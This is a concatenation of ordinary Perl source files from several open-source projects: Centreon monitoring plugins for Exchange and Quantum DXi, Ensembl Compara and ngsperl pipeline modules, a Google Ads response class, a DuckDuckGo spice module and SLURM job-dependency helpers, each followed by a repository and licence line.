# 1 while s/^(-?\d+)(\d{3})/$1 $2/;
# return $_;
#}
| cpraught/shattered-empires | TechAssign.pl | Perl | mit | 9,791 |
#
# Copyright 2018 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package apps::exchange::2010::local::mode::listdatabases;
use base qw(centreon::plugins::mode);
use strict;
use warnings;
use centreon::plugins::misc;
use centreon::common::powershell::exchange::2010::listdatabases;
sub new {
my ($class, %options) = @_;
my $self = $class->SUPER::new(package => __PACKAGE__, %options);
bless $self, $class;
$self->{version} = '1.0';
$options{options}->add_options(arguments =>
{
"remote-host:s" => { name => 'remote_host', },
"remote-user:s" => { name => 'remote_user', },
"remote-password:s" => { name => 'remote_password', },
"no-ps" => { name => 'no_ps', },
"timeout:s" => { name => 'timeout', default => 50 },
"command:s" => { name => 'command', default => 'powershell.exe' },
"command-path:s" => { name => 'command_path' },
"command-options:s" => { name => 'command_options', default => '-InputFormat none -NoLogo -EncodedCommand' },
"ps-exec-only" => { name => 'ps_exec_only', },
"ps-database-filter:s" => { name => 'ps_database_filter', },
});
return $self;
}
sub check_options {
my ($self, %options) = @_;
$self->SUPER::init(%options);
}
sub run {
my ($self, %options) = @_;
my $ps = centreon::common::powershell::exchange::2010::listdatabases::get_powershell(remote_host => $self->{option_results}->{remote_host},
remote_user => $self->{option_results}->{remote_user},
remote_password => $self->{option_results}->{remote_password},
no_ps => $self->{option_results}->{no_ps},
filter_database => $self->{option_results}->{ps_database_filter});
$self->{option_results}->{command_options} .= " " . $ps;
my ($stdout) = centreon::plugins::misc::windows_execute(output => $self->{output},
timeout => $self->{option_results}->{timeout},
command => $self->{option_results}->{command},
command_path => $self->{option_results}->{command_path},
command_options => $self->{option_results}->{command_options});
if (defined($self->{option_results}->{ps_exec_only})) {
$self->{output}->output_add(severity => 'OK',
short_msg => $stdout);
} else {
$self->{output}->output_add(severity => 'OK',
short_msg => 'List databases:');
centreon::common::powershell::exchange::2010::listdatabases::list($self, stdout => $stdout);
}
$self->{output}->display(nolabel => 1, force_ignore_perfdata => 1, force_long_output => 1);
$self->{output}->exit();
}
sub disco_format {
my ($self, %options) = @_;
$self->{output}->add_disco_format(elements => ['name', 'server', 'mounted']);
}
sub disco_show {
my ($self, %options) = @_;
my $ps = centreon::common::powershell::exchange::2010::listdatabases::get_powershell(remote_host => $self->{option_results}->{remote_host},
remote_user => $self->{option_results}->{remote_user},
remote_password => $self->{option_results}->{remote_password},
no_ps => $self->{option_results}->{no_ps},
filter_database => $self->{option_results}->{ps_database_filter});
$self->{option_results}->{command_options} .= " " . $ps;
my ($stdout) = centreon::plugins::misc::windows_execute(output => $self->{output},
timeout => $self->{option_results}->{timeout},
command => $self->{option_results}->{command},
command_path => $self->{option_results}->{command_path},
command_options => $self->{option_results}->{command_options});
centreon::common::powershell::exchange::2010::listdatabases::disco_show($self, stdout => $stdout);
}
1;
__END__
=head1 MODE
List Exchange databases.
=over 8
=item B<--remote-host>
Open a session to the remote-host (fully qualified host name). --remote-user and --remote-password are optional
=item B<--remote-user>
Open a session to the remote-host with authentication. This also needs --remote-host and --remote-password.
=item B<--remote-password>
Open a session to the remote-host with authentication. This also needs --remote-user and --remote-host.
=item B<--timeout>
Set timeout time for command execution (Default: 50 sec)
=item B<--no-ps>
Don't encode powershell. To be used with --command and 'type' command.
=item B<--command>
Command to get information (Default: 'powershell.exe').
Can be changed if you have output in a file. To be used with --no-ps option!!!
=item B<--command-path>
Command path (Default: none).
=item B<--command-options>
Command options (Default: '-InputFormat none -NoLogo -EncodedCommand').
=item B<--ps-exec-only>
Print powershell output.
=item B<--ps-database-filter>
Filter database (only wilcard '*' can be used. In Powershell).
=back
=cut | wilfriedcomte/centreon-plugins | apps/exchange/2010/local/mode/listdatabases.pm | Perl | apache-2.0 | 6,976 |
=head1 LICENSE
See the NOTICE file distributed with this work for additional information
regarding copyright ownership.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=cut
=head1 CONTACT
Please email comments or questions to the public Ensembl
developers list at <http://lists.ensembl.org/mailman/listinfo/dev>.
Questions may also be sent to the Ensembl help desk at
<http://www.ensembl.org/Help/Contact>.
=head1 NAME
Bio::EnsEMBL::Compara::RunnableDB::AncestralAllelesForIndels::CreateCompleteChunkedJobs
=head1 SYNOPSIS
This RunnableDB module is part of the AncestralAllelesForIndels pipeline.
=head1 DESCRIPTION
This RunnableDB module splits the seq_region into regions of chunk_size and creates a create_sub_chunk_job.
=cut
package Bio::EnsEMBL::Compara::RunnableDB::AncestralAllelesForIndels::CreateCompleteChunkedJobs;
use strict;
use warnings;
use base ('Bio::EnsEMBL::Compara::RunnableDB::BaseRunnable');
use Bio::EnsEMBL::Variation::DBSQL::DBAdaptor;
use File::Path qw(make_path);
sub write_output {
my $self = shift @_;
my $compara_dba = new Bio::EnsEMBL::Compara::DBSQL::DBAdaptor(-url=>$self->param('compara_url'));
my $ref_species = $self->param('ref_species');
my $genome_db_adaptor = $self->compara_dba->get_genomeDBAdaptor;
my $genome_db = $genome_db_adaptor->fetch_by_name_assembly($ref_species);
my $slice_adaptor = $genome_db->db_adaptor->get_SliceAdaptor;
my $sql = qq {
SELECT
dnafrag.name,
length,
min(dnafrag_start),
max(dnafrag_end)
FROM
dnafrag JOIN genomic_align USING (dnafrag_id) JOIN genome_db USING (genome_db_id) WHERE method_link_species_set_id=? AND genome_db.name=? };
if ($self->param('seq_region')) {
$sql .= " AND dnafrag.name = " . $self->param('seq_region');
}
$sql .= " GROUP BY dnafrag_id";
my $sth = $compara_dba->dbc->prepare($sql);
$sth->execute($self->param('mlss_id'), $self->param('ref_species'));
my $length = $self->param('length');
my ($seq_region, $min_dnafrag_start, $max_dnafrag_end);
$sth->bind_columns(\$seq_region,\$length,\$min_dnafrag_start,\$max_dnafrag_end);
my $chunk_size = $self->param('chunk_size');
while (my $row = $sth->fetchrow_arrayref) {
#skip the first part of the chr if there are no alignments. Round down
my $this_start = int($min_dnafrag_start/$chunk_size) * $chunk_size;
#quick sanity check!
if ($this_start > $min_dnafrag_start) {
die "Something has gone wrong! Start ($this_start) should be smaller than the min(dnafrag_start) ($min_dnafrag_start)";
}
#Need to add to statistics table
$self->update_statistics_table($this_start, $seq_region);
my $chunk = $this_start+1;
while ($chunk <= $length) {
my $seq_region_start = $chunk;
$chunk += $chunk_size;
my $seq_region_end = $chunk - 1;
if ($seq_region_end > $length) {
$seq_region_end = $length;
}
#mkdir to put sub-chunks into
my $dirname = $self->param('work_dir') . "/" . $seq_region . "/" . $seq_region_start . "_" . $seq_region_end;
#mkdir $dirname;
make_path($dirname);
die "Cannot create directory $dirname : $!\n" unless -d $dirname;
#Create ancestral_alleles_for_indels jobs
my $output_ids = {'seq_region'=> $seq_region,
'seq_region_start' => $seq_region_start,
'seq_region_end' => $seq_region_end};
$self->dataflow_output_id($output_ids, 2);
}
}
}
sub update_statistics_table {
my ($self, $length, $seq_region) = @_;
my $sql = "INSERT INTO statistics (seq_region, seq_region_start, seq_region_end, total_bases, no_gat) VALUES (?,?,?,?,?)";
my $sth = $self->compara_dba->dbc->prepare($sql);
$sth->execute($seq_region, 1, $length, $length, $length);
}
1;
| Ensembl/ensembl-compara | modules/Bio/EnsEMBL/Compara/RunnableDB/AncestralAllelesForIndels/CreateCompleteChunkedJobs.pm | Perl | apache-2.0 | 4,400 |
#!/usr/bin/perl
package SmallRNA::T2CSummary;
use strict;
use warnings;
use File::Basename;
use CQS::PBS;
use CQS::ConfigUtils;
use CQS::SystemUtils;
use CQS::FileUtils;
use CQS::NGSCommon;
use CQS::StringUtils;
use CQS::UniqueTask;
our @ISA = qw(CQS::UniqueTask);
sub new {
my ($class) = @_;
my $self = $class->SUPER::new();
$self->{_name} = __PACKAGE__;
$self->{_suffix} = "_t2c";
bless $self, $class;
return $self;
}
sub perform {
my ( $self, $config, $section ) = @_;
my ( $task_name, $path_file, $pbs_desc, $target_dir, $log_dir, $pbs_dir, $result_dir, $option, $sh_direct, $cluster ) = $self->init_parameter( $config, $section );
my %raw_files = %{ get_raw_files( $config, $section ) };
my $filelist = $self->get_file( $pbs_dir, ${task_name}, ".filelist", 0 );
open( FL, ">$filelist" ) or die "Cannot create $filelist";
for my $sample_name ( sort keys %raw_files ) {
my @count_files = @{ $raw_files{$sample_name} };
my $countFile = $count_files[0];
print FL $sample_name, "\t", $countFile, "\n";
}
close(FL);
my $pbs_file = $self->get_pbs_filename( $pbs_dir, $task_name );
my $pbs_name = basename($pbs_file);
my $log = $self->get_log_filename( $log_dir, $task_name );
my $log_desc = $cluster->get_log_description($log);
my $outputfile = $self->get_file( $result_dir, ${task_name}, "_t2c.tsv", 0 );
my $outputname = basename($outputfile);
my $pbs = $self->open_pbs( $pbs_file, $pbs_desc, $log_desc, $path_file, $result_dir, $outputname );
print $pbs "cqstools smallrna_t2c_summary $option -o $outputname -l $filelist";
$self->close_pbs( $pbs, $pbs_file );
}
sub result {
my ( $self, $config, $section, $pattern ) = @_;
my ( $task_name, $path_file, $pbs_desc, $target_dir, $log_dir, $pbs_dir, $result_dir, $option, $sh_direct ) = $self->init_parameter( $config, $section, 0 );
my $result = {};
my @result_files = ();
my $outputfile = $self->get_file( $result_dir, ${task_name}, "_t2c.tsv", 0 );
my $filelist = $self->get_file( $pbs_dir, ${task_name}, ".filelist", 0 );
push( @result_files, $outputfile );
push( @result_files, $filelist );
$result->{$task_name} = filter_array( \@result_files, $pattern );
return $result;
}
1;
| shengqh/ngsperl | lib/SmallRNA/T2CSummary.pm | Perl | apache-2.0 | 2,238 |
#
# Copyright 2019 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package storage::quantum::dxi::ssh::mode::dedupnas;
use base qw(centreon::plugins::templates::counter);
use strict;
use warnings;
use DateTime;
use centreon::plugins::templates::catalog_functions qw(catalog_status_threshold);
sub custom_status_output {
my ($self, %options) = @_;
my $msg = sprintf("Status is '%s' [State: %s], Duration: %s, Percent complete: %s%%",
$self->{result_values}->{status}, $self->{result_values}->{state},
centreon::plugins::misc::change_seconds(value => $self->{result_values}->{duration}),
$self->{result_values}->{percent_complete});
return $msg;
}
sub custom_status_calc {
my ($self, %options) = @_;
$self->{result_values}->{status} = $options{new_datas}->{$self->{instance} . '_status'};
$self->{result_values}->{state} = $options{new_datas}->{$self->{instance} . '_state'};
$self->{result_values}->{start_time} = $options{new_datas}->{$self->{instance} . '_start_time'};
$self->{result_values}->{completion_time} = $options{new_datas}->{$self->{instance} . '_completion_time'};
$self->{result_values}->{percent_complete} = $options{new_datas}->{$self->{instance} . '_percent_complete'};
my ($start, $end);
my %months = ("Jan" => 1, "Feb" => 2, "Mar" => 3, "Apr" => 4, "May" => 5, "Jun" => 6, "Jul" => 7, "Aug" => 8, "Sep" => 9, "Oct" => 10, "Nov" => 11, "Dec" => 12);
if (defined($self->{result_values}->{start_time}) && $self->{result_values}->{start_time} =~ /^(\w+)\s(\w+)\s(\d+)\s(\d+):(\d+):(\d+)\s(\d+)$/) { # Mon Jan 01 13:01:23 2018
$start = DateTime->new(year => $7, month => $months{$2}, day => $3, hour => $4, minute => $5, second => $6);
}
if (defined($self->{result_values}->{completion_time}) && $self->{result_values}->{completion_time} =~ /^(\w+)\s(\w+)\s(\d+)\s(\d+):(\d+):(\d+)\s(\d+)$/) {
$end = DateTime->new(year => $7, month => $months{$2}, day => $3, hour => $4, minute => $5, second => $6);
}
$self->{result_values}->{duration} = 0;
$self->{result_values}->{duration} = $end->epoch() - $start->epoch() if (defined($end));
$self->{result_values}->{duration} = time() - $start->epoch() if (defined($start) && !defined($end));
return 0;
}
sub prefix_output {
my ($self, %options) = @_;
return "NAS deduplication '" . $options{instance_value}->{name} . "' ";
}
sub set_counters {
my ($self, %options) = @_;
$self->{maps_counters_type} = [
{ name => 'global', type => 1, cb_prefix_output => 'prefix_output', message_multiple => 'All NAS deduplication are ok', message_separator => ' - ' },
];
$self->{maps_counters}->{global} = [
{ label => 'status', threshold => 0, set => {
key_values => [ { name => 'status' }, { name => 'state' }, { name => 'start_time' },
{ name => 'completion_time' }, { name => 'percent_complete' }, { name => 'name' } ],
closure_custom_calc => $self->can('custom_status_calc'),
closure_custom_output => $self->can('custom_status_output'),
closure_custom_perfdata => sub { return 0; },
closure_custom_threshold_check => \&catalog_status_threshold,
}
},
{ label => 'original-data-size', set => {
key_values => [ { name => 'original_size' }, { name => 'name' } ],
output_template => 'Original data size: %s %s',
output_change_bytes => 1,
perfdatas => [
{ label => 'original_data_size', value => 'original_size_absolute', template => '%d',
unit => 'B', min => 0, label_extra_instance => 1, instance_use => 'name_absolute' },
],
}
},
{ label => 'sent-data-size', set => {
key_values => [ { name => 'sent_size' }, { name => 'name' } ],
output_template => 'Sent data size: %s %s',
output_change_bytes => 1,
perfdatas => [
{ label => 'sent_data_size', value => 'sent_size_absolute', template => '%d',
unit => 'B', min => 0, label_extra_instance => 1, instance_use => 'name_absolute' },
],
}
},
];
}
sub new {
my ($class, %options) = @_;
my $self = $class->SUPER::new(package => __PACKAGE__, %options);
bless $self, $class;
$options{options}->add_options(arguments =>
{
"hostname:s" => { name => 'hostname' },
"ssh-option:s@" => { name => 'ssh_option' },
"ssh-path:s" => { name => 'ssh_path' },
"ssh-command:s" => { name => 'ssh_command', default => 'ssh' },
"timeout:s" => { name => 'timeout', default => 30 },
"sudo" => { name => 'sudo' },
"command:s" => { name => 'command', default => 'syscli' },
"command-path:s" => { name => 'command_path' },
"command-options:s" => { name => 'command_options', default => '--list dedupnas' },
"warning-status:s" => { name => 'warning_status', default => '%{state} !~ /Enabled/i' },
"critical-status:s" => { name => 'critical_status', default => '' },
});
return $self;
}
sub check_options {
my ($self, %options) = @_;
$self->SUPER::check_options(%options);
if (defined($self->{option_results}->{hostname}) && $self->{option_results}->{hostname} ne '') {
$self->{option_results}->{remote} = 1;
}
$self->change_macros(macros => ['warning_status', 'critical_status']);
}
sub manage_selection {
my ($self, %options) = @_;
$self->{global} = {};
my ($stdout, $exit_code) = centreon::plugins::misc::execute(output => $self->{output},
options => $self->{option_results},
sudo => $self->{option_results}->{sudo},
command => $self->{option_results}->{command},
command_path => $self->{option_results}->{command_path},
command_options => $self->{option_results}->{command_options},
);
# Output data:
# List of all deduped NAS on source:
# Total count = 2
# [dedupnas = 1]
# NAS share name = backup1
# Replication type = SYNCHRONIZATION
# Replication state = Enabled
# Replication sync id = backup
# Replication target = 1.2.3.4
# Replication start = Mon Jan 01 12:56:31 2018
# Replication completion = Mon Jan 01 13:04:49 2018
# Replication status = SUCCESS
# Percent complete = 0
# Estimated completion time = No time remaining.
# Original data size = 24876159193
# Actual data sent = 4179216
# Average data sent = 438223
# [dedupnas = 2]
# NAS share name = backup2
# Replication type = NONE
# Replication state = Disabled
# Replication sync id =
# Replication target =
# Replication start =
# Replication completion =
# Replication status =
# Percent complete = 0
# Estimated completion time =
# Original data size = 0
# Actual data sent = 0
# Average data sent = 0
my $id;
foreach (split(/\n/, $stdout)) {
$id = $1 if ($_ =~ /.*\[dedupnas\s=\s(.*)\]$/i);
$self->{global}->{$id}->{name} = $1 if ($_ =~ /.*NAS\sshare\sname\s=\s(.*)$/i && defined($id) && $id ne '');
$self->{global}->{$id}->{state} = $1 if ($_ =~ /.*Replication\sstate\s=\s(.*)$/i && defined($id) && $id ne '');
$self->{global}->{$id}->{start_time} = $1 if ($_ =~ /.*Replication\sstart\s=\s(.*)$/i && defined($id) && $id ne '');
$self->{global}->{$id}->{completion_time} = $1 if ($_ =~ /.*Replication\scompletion\s=\s(.*)$/i && defined($id) && $id ne '');
$self->{global}->{$id}->{status} = $1 if ($_ =~ /.*Replication\sstatus\s=\s(.*)$/i && defined($id) && $id ne '');
$self->{global}->{$id}->{percent_complete} = $1 if ($_ =~ /.*Percent\scomplete\s=\s(.*)$/i && defined($id) && $id ne '');
$self->{global}->{$id}->{original_size} = $1 if ($_ =~ /.*Original\sdata\ssize\s=\s(.*)$/i && defined($id) && $id ne '');
$self->{global}->{$id}->{sent_size} = $1 if ($_ =~ /.*Actual\sdata\ssent\s=\s(.*)$/i && defined($id) && $id ne '');
$self->{global}->{$id}->{status} = "-" if (defined($id) && $id ne '' && !defined($self->{global}->{$id}->{status}));
$self->{global}->{$id}->{start_time} = "-" if (defined($id) && !defined($self->{global}->{$id}->{start_time}));
$self->{global}->{$id}->{completion_time} = "-" if (defined($id) && !defined($self->{global}->{$id}->{completion_time}));
}
}
1;
__END__
=head1 MODE
Check deduped NAS on source.
=over 8
=item B<--hostname>
Hostname to query.
=item B<--filter-counters>
Only display some counters (regexp can be used).
Example: --filter-counters='status'
=item B<--warning-status>
Set warning threshold for status (Default: '%{state} !~ /Enabled/i').
Can used special variables like: %{status}, %{state}, %{duration}, %{percent_complete}.
=item B<--critical-status>
Set critical threshold for status (Default: '').
Can used special variables like: %{status}, %{state}, %{duration}, %{percent_complete}.
=item B<--warning-*>
Threshold warning.
Can be: 'original-data-size', 'sent-data-size'.
=item B<--critical-*>
Threshold critical.
Can be: 'original-data-size', 'sent-data-size'.
=item B<--ssh-option>
Specify multiple options like the user (example: --ssh-option='-l=centreon-engine' --ssh-option='-p=52').
=item B<--ssh-path>
Specify ssh command path (default: none)
=item B<--ssh-command>
Specify ssh command (default: 'ssh'). Useful to use 'plink'.
=item B<--timeout>
Timeout in seconds for the command (Default: 30).
=item B<--sudo>
Use 'sudo' to execute the command.
=item B<--command>
Command to get information (Default: 'syscli').
=item B<--command-path>
Command path.
=item B<--command-options>
Command options (Default: '--list dedupnas').
=back
=cut
| Sims24/centreon-plugins | storage/quantum/dxi/ssh/mode/dedupnas.pm | Perl | apache-2.0 | 11,491 |
# Copyright 2020, Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
package Google::Ads::GoogleAds::V8::Services::CustomAudienceService::MutateCustomAudiencesResponse;
use strict;
use warnings;
use base qw(Google::Ads::GoogleAds::BaseEntity);
use Google::Ads::GoogleAds::Utils::GoogleAdsHelper;
sub new {
my ($class, $args) = @_;
my $self = {results => $args->{results}};
# Delete the unassigned fields in this object for a more concise JSON payload
remove_unassigned_fields($self, $args);
bless $self, $class;
return $self;
}
1;
| googleads/google-ads-perl | lib/Google/Ads/GoogleAds/V8/Services/CustomAudienceService/MutateCustomAudiencesResponse.pm | Perl | apache-2.0 | 1,056 |
#
# Copyright 2019 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package apps::exchange::2010::local::mode::replicationhealth;
use base qw(centreon::plugins::mode);
use strict;
use warnings;
use centreon::plugins::misc;
use centreon::common::powershell::exchange::2010::replicationhealth;
sub new {
my ($class, %options) = @_;
my $self = $class->SUPER::new(package => __PACKAGE__, %options);
bless $self, $class;
$options{options}->add_options(arguments =>
{
"remote-host:s" => { name => 'remote_host', },
"remote-user:s" => { name => 'remote_user', },
"remote-password:s" => { name => 'remote_password', },
"no-ps" => { name => 'no_ps', },
"timeout:s" => { name => 'timeout', default => 50 },
"command:s" => { name => 'command', default => 'powershell.exe' },
"command-path:s" => { name => 'command_path' },
"command-options:s" => { name => 'command_options', default => '-InputFormat none -NoLogo -EncodedCommand' },
"ps-exec-only" => { name => 'ps_exec_only', },
"warning:s" => { name => 'warning', },
"critical:s" => { name => 'critical', default => '%{result} !~ /Passed/i' },
});
return $self;
}
sub change_macros {
my ($self, %options) = @_;
foreach (('warning', 'critical')) {
if (defined($self->{option_results}->{$_})) {
$self->{option_results}->{$_} =~ s/%\{(.*?)\}/\$self->{data}->{$1}/g;
}
}
}
sub check_options {
my ($self, %options) = @_;
$self->SUPER::init(%options);
$self->change_macros();
}
sub run {
my ($self, %options) = @_;
my $ps = centreon::common::powershell::exchange::2010::replicationhealth::get_powershell(
remote_host => $self->{option_results}->{remote_host},
remote_user => $self->{option_results}->{remote_user},
remote_password => $self->{option_results}->{remote_password},
no_ps => $self->{option_results}->{no_ps},
);
$self->{option_results}->{command_options} .= " " . $ps;
my ($stdout) = centreon::plugins::misc::windows_execute(output => $self->{output},
timeout => $self->{option_results}->{timeout},
command => $self->{option_results}->{command},
command_path => $self->{option_results}->{command_path},
command_options => $self->{option_results}->{command_options});
if (defined($self->{option_results}->{ps_exec_only})) {
$self->{output}->output_add(severity => 'OK',
short_msg => $stdout);
$self->{output}->display(nolabel => 1, force_ignore_perfdata => 1, force_long_output => 1);
$self->{output}->exit();
}
centreon::common::powershell::exchange::2010::replicationhealth::check($self, stdout => $stdout);
$self->{output}->display();
$self->{output}->exit();
}
1;
__END__
=head1 MODE
Check replication health.
=over 8
=item B<--remote-host>
Open a session to the remote-host (fully qualified host name). --remote-user and --remote-password are optional
=item B<--remote-user>
Open a session to the remote-host with authentication. This also needs --remote-host and --remote-password.
=item B<--remote-password>
Open a session to the remote-host with authentication. This also needs --remote-user and --remote-host.
=item B<--timeout>
Set timeout time for command execution (Default: 50 sec)
=item B<--no-ps>
Don't encode powershell. To be used with --command and 'type' command.
=item B<--command>
Command to get information (Default: 'powershell.exe').
Can be changed if you have output in a file. To be used with --no-ps option!!!
=item B<--command-path>
Command path (Default: none).
=item B<--command-options>
Command options (Default: '-InputFormat none -NoLogo -EncodedCommand').
=item B<--ps-exec-only>
Print powershell output.
=item B<--warning>
Set warning threshold.
Can used special variables like: %{result}, %{server}, %{isvalid}, %{check}
=item B<--critical>
Set critical threshold (Default: '%{result} !~ /Passed/i').
Can used special variables like: %{result}, %{server}, %{isvalid}, %{check}
=back
=cut | Sims24/centreon-plugins | apps/exchange/2010/local/mode/replicationhealth.pm | Perl | apache-2.0 | 5,865 |
package DDG::Spice::ShabbatCandleLightingTimes;
# ABSTRACT: Returns Shabbat candle lighting time information from Hebcal
# Start at https://duck.co/duckduckhack/spice_overview if you are new
# to instant answer development
use DDG::Spice;
# Caching - https://duck.co/duckduckhack/spice_advanced_backend#caching-api-responses
spice is_cached => 0;
# Metadata. See https://duck.co/duckduckhack/metadata for help in filling out this section.
name "Shabbat Candle Lighting Times";
source "Hebcal";
icon_url "https://icons.duckduckgo.com/ip2/www.hebcal.com.ico";
description "Finds candle lighting times for the upcoming Shabbat";
primary_example_queries "candle lighting", "shabbat", "shabbos";
# Uncomment and complete: https://duck.co/duckduckhack/metadata#category
category "location_aware";
# Uncomment and complete: https://duck.co/duckduckhack/metadata#topics
topics "special_interest";
code_url "https://github.com/duckduckgo/zeroclickinfo-spice/blob/master/lib/DDG/Spice/ShabbatCandleLightingTimes.pm";
attribution github => ["bdjnk", "Michael Plotke"],
twitter => "MichaelPlotke",
web => "michael.plotke.me";
# API endpoint - https://duck.co/duckduckhack/spice_attributes#spice-codetocode
spice to => 'http://www.hebcal.com/shabbat/?cfg=json&geo=pos&$1';
spice wrap_jsonp_callback => 1;
# Triggers - https://duck.co/duckduckhack/spice_triggers
triggers any => "candle lighting", "shabbat", "shabbos";
my @locs = qw (city region_name country_name );
# Handle statement
handle remainder => sub {
# optional - regex guard
# return unless qr/^\w+/;
# return unless $_; # Guard against "no answer"
#
# return $_;
return if $_;
my $location = join("&", "tzid=", $loc->time_zone, "latitude=", $loc->latitude, "longitude=", $loc->longitude);
my $loc_str = join " ", map { $loc->{$_} } @locs;
return $loc_str, 'current', {is_cached => 0};
};
1;
| bdjnk/zeroclickinfo-spice | lib/DDG/Spice/ShabbatCandleLightingTimes.pm | Perl | apache-2.0 | 1,916 |
=head1 LICENSE
Copyright [1999-2014] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=cut
package XrefMapper::Methods::ExonerateGappedBest1;
use XrefMapper::Methods::ExonerateBasic;
use vars '@ISA';
@ISA = qw{XrefMapper::Methods::ExonerateBasic};
sub options {
return ('--gappedextension FALSE', '--model', 'affine:local', '--subopt', 'no', '--bestn', '1');
}
sub query_identity_threshold {
return 90;
}
sub target_identity_threshold {
return 90;
}
1;
| willmclaren/ensembl | misc-scripts/xref_mapping/XrefMapper/Methods/ExonerateGappedBest1.pm | Perl | apache-2.0 | 1,034 |
#!/usr/bin/perl
package CQS::SequenceTaskSlurmSlim;
use strict;
use warnings;
use File::Basename;
use File::Copy;
use Data::Dumper;
use CQS::PBS;
use CQS::SystemUtils;
use CQS::FileUtils;
use CQS::StringUtils;
use CQS::ConfigUtils;
use CQS::ClassFactory;
use CQS::SequenceTask;
our @ISA = qw(CQS::SequenceTask);
sub getAllDependentJobids {
my ($final_pbs_id_map) = @_;
my $result = "";
if ( keys %$final_pbs_id_map ) {
$result = "--dependency=afterany";
for my $each_dep_pbs ( keys %$final_pbs_id_map ) {
if ( $final_pbs_id_map->{$each_dep_pbs}[1] == 0 ) {
$result = $result . ":\$" . $final_pbs_id_map->{$each_dep_pbs}[0];
}
}
}
return $result;
}
sub get_dependent_job_ids {
my ( $task_dep_pbs_map, $pbs_id_map, $task_section, $task_name, $pbs_file ) = @_;
my $dep_pbs_map = $task_dep_pbs_map->{$task_section}{$pbs_file};
my $result = "";
if(not defined $dep_pbs_map){
return($result);
}
for my $dep_pbs (keys %$dep_pbs_map){
if (!defined $pbs_id_map->{$dep_pbs}){
my $str = Dumper($pbs_id_map);
open(my $idmap, ">id.map");
print ($idmap $str);
close($idmap);
#die "$dep_pbs is not in pbs_id_map: " . Dumper($pbs_id_map);
die "processing $task_section, $dep_pbs is not in pbs_id_map: id.map " ;
}
if ($result eq ""){
$result = "--dependency=afterany";
}
$result = $result . ":\$" . $pbs_id_map->{$dep_pbs}[0];
$pbs_id_map->{$dep_pbs}[1] = 1;
}
return $result;
}
sub getDependentJobids {
my ( $task_dep_pbs_map, $pbs_id_map, $depend_all, $task_section, $task_name, $dep_sample_names ) = @_;
my $dep_pbs_map = $task_dep_pbs_map->{$task_section};
#if ($task_section eq "fastqc_post_trim"){
# print Dumper($dep_pbs_map);
# print @$dep_sample_names;
#}
my $result = "";
if (not keys %$dep_pbs_map){
return($result);
}
if ($depend_all){
$result = "--dependency=afterany";
for my $sample ( keys %$dep_pbs_map ) {
my $sample_pbs_map = $dep_pbs_map->{$sample};
if ( keys %$sample_pbs_map ) {
for my $each_dep_pbs ( keys %$sample_pbs_map ) {
my $pid = $pbs_id_map->{$each_dep_pbs};
if ( !defined $pid ) {
die "Undefined $each_dep_pbs";
}
$result = $result . ":\$" . $pid->[0];
$pbs_id_map->{$each_dep_pbs}[1] = 1;
}
}
}
return($result);
}
my $taskname_pbs_map = $dep_pbs_map->{$task_name};
if ( defined $taskname_pbs_map ) {
$result = "--dependency=afterany";
for my $each_dep_pbs ( keys %$taskname_pbs_map ) {
if ( !defined $pbs_id_map->{$each_dep_pbs} ) {
die "Didn't find $each_dep_pbs in $pbs_id_map";
}
$result = $result . ":\$" . $pbs_id_map->{$each_dep_pbs}[0];
$pbs_id_map->{$each_dep_pbs}[1] = 1;
}
}
for my $dep_sample_name (@$dep_sample_names){
my $dep_pbs = $dep_pbs_map->{$dep_sample_name};
if ( defined $dep_pbs ) {
if ($result eq ""){
$result = "--dependency=afterany";
}
for my $each_dep_pbs ( keys %$dep_pbs ) {
if (!defined $pbs_id_map->{$each_dep_pbs}){
die "$each_dep_pbs is not in pbs_id_map: " . Dumper($pbs_id_map);
}
$result = $result . ":\$" . $pbs_id_map->{$each_dep_pbs}[0];
$pbs_id_map->{$each_dep_pbs}[1] = 1;
}
}
}
#print(@$dep_sample_names);
#print($result);
return $result;
}
sub perform {
my ( $self, $config, $section ) = @_;
